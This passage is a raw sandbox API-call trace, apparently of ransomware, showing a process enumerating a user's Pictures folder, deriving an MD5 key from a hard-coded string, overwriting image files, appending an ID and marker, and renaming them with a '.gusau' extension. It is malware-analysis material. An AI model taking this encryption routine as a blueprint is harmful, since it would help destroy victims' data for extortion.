0x39f3ef0 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.646] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.646] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\") returned="KkXM-cBNoii_tDa0YyP\\" [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0a48 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\") returned="kuLBm0R5-grtJK8w\\" [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0118.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f7a0 | out: hHeap=0xd10000) returned 1 [0118.647] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.647] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0118.647] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.647] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0118.648] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.648] PathFindFileNameW (pszPath="") returned="" [0118.648] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d2878e0, ftCreationTime.dwHighDateTime=0x1d4cbc7, ftLastAccessTime.dwLowDateTime=0x439ee700, ftLastAccessTime.dwHighDateTime=0x1d4cea5, ftLastWriteTime.dwLowDateTime=0x439ee700, ftLastWriteTime.dwHighDateTime=0x1d4cea5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.650] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d2878e0, ftCreationTime.dwHighDateTime=0x1d4cbc7, ftLastAccessTime.dwLowDateTime=0x439ee700, ftLastAccessTime.dwHighDateTime=0x1d4cea5, ftLastWriteTime.dwLowDateTime=0x439ee700, ftLastWriteTime.dwHighDateTime=0x1d4cea5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.650] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5787a890, ftCreationTime.dwHighDateTime=0x1d4d1ae, ftLastAccessTime.dwLowDateTime=0xd5b30a20, ftLastAccessTime.dwHighDateTime=0x1d4d1ea, ftLastWriteTime.dwLowDateTime=0xd5b30a20, ftLastWriteTime.dwHighDateTime=0x1d4d1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3651, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CugNJ6pb94kQCPMiK.jpg", cAlternateFileName="CUGNJ6~1.JPG")) returned 1 [0118.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.650] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0xdcc590 [0118.650] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.650] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\CugNJ6pb94kQCPMiK.jpg") returned=".jpg" [0118.650] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\CugNJ6pb94kQCPMiK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\cugnj6pb94kqcpmik.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.650] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=13905) returned 1 [0118.650] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.652] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x362b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.652] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.654] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.654] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.654] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.654] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x3651, lpOverlapped=0x0) returned 1 [0118.655] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.655] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.655] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.655] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.655] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.656] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.656] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.656] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.656] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.656] GetLastError () returned 0x0 [0118.656] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.656] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.656] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x3650) returned 0x39f9f20 [0118.656] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.656] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.656] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x364c, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x364c, lpOverlapped=0x0) returned 1 [0118.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.657] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x3651, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.657] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.657] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.657] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.657] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.657] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.657] CloseHandle (hObject=0x610) returned 1 [0118.658] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0118.658] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8d0) returned 0x39f4ef8 [0118.658] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a360 | out: hHeap=0xd10000) returned 1 [0118.658] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\CugNJ6pb94kQCPMiK.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\cugnj6pb94kqcpmik.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\CugNJ6pb94kQCPMiK.jpg.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\cugnj6pb94kqcpmik.jpg.gusau")) returned 1 [0118.658] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.658] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.659] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0118.659] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59728710, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x955379a0, ftLastAccessTime.dwHighDateTime=0x1d4cc9b, ftLastWriteTime.dwLowDateTime=0x955379a0, ftLastWriteTime.dwHighDateTime=0x1d4cc9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fXLlrMkF3y385T7R_VK", cAlternateFileName="FXLLRM~1")) returned 1 [0118.659] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0118.659] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11e) returned 0xdcc590 [0118.659] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a360 [0118.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd0) returned 0x390a438 [0118.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390a360 | out: hHeap=0xd10000) returned 1 [0118.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0118.660] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda0f900, ftCreationTime.dwHighDateTime=0x1d4d0fd, ftLastAccessTime.dwLowDateTime=0xcc263110, ftLastAccessTime.dwHighDateTime=0x1d4ca26, ftLastWriteTime.dwLowDateTime=0xcc263110, ftLastWriteTime.dwHighDateTime=0x1d4ca26, nFileSizeHigh=0x0, nFileSizeLow=0x5bd7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pySmPr79Heo.png", cAlternateFileName="PYSMPR~1.PNG")) returned 1 [0118.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974108 [0118.660] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xee) returned 0xdcc590 [0118.660] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974108 | out: hHeap=0xd10000) returned 1 [0118.660] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\pySmPr79Heo.png") returned=".png" [0118.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\pySmPr79Heo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\pysmpr79heo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.661] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=23511) returned 1 [0118.661] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.663] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5bb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.663] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.664] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.664] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.664] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.664] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5bd7, lpOverlapped=0x0) returned 1 [0118.665] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.665] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.665] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.665] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.665] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.666] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.666] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.666] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.666] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.666] GetLastError () returned 0x0 [0118.666] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.666] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.666] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x5be0) returned 0x39f9f20 [0118.666] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.666] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.666] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x5bd2, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x5bd2, lpOverlapped=0x0) returned 1 [0118.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.667] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5bd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.667] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.667] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.667] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.667] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.667] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.667] CloseHandle (hObject=0x610) returned 1 [0118.668] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e108 [0118.668] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8d0) returned 0x39f4ef8 [0118.668] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.668] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\pySmPr79Heo.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\pysmpr79heo.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\kuLBm0R5-grtJK8w\\KkXM-cBNoii_tDa0YyP\\pySmPr79Heo.png.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kulbm0r5-grtjk8w\\kkxm-cbnoii_tda0yyp\\pysmpr79heo.png.gusau")) returned 1 [0118.669] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.669] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.670] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdcc590 | out: hHeap=0xd10000) returned 1 [0118.670] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, 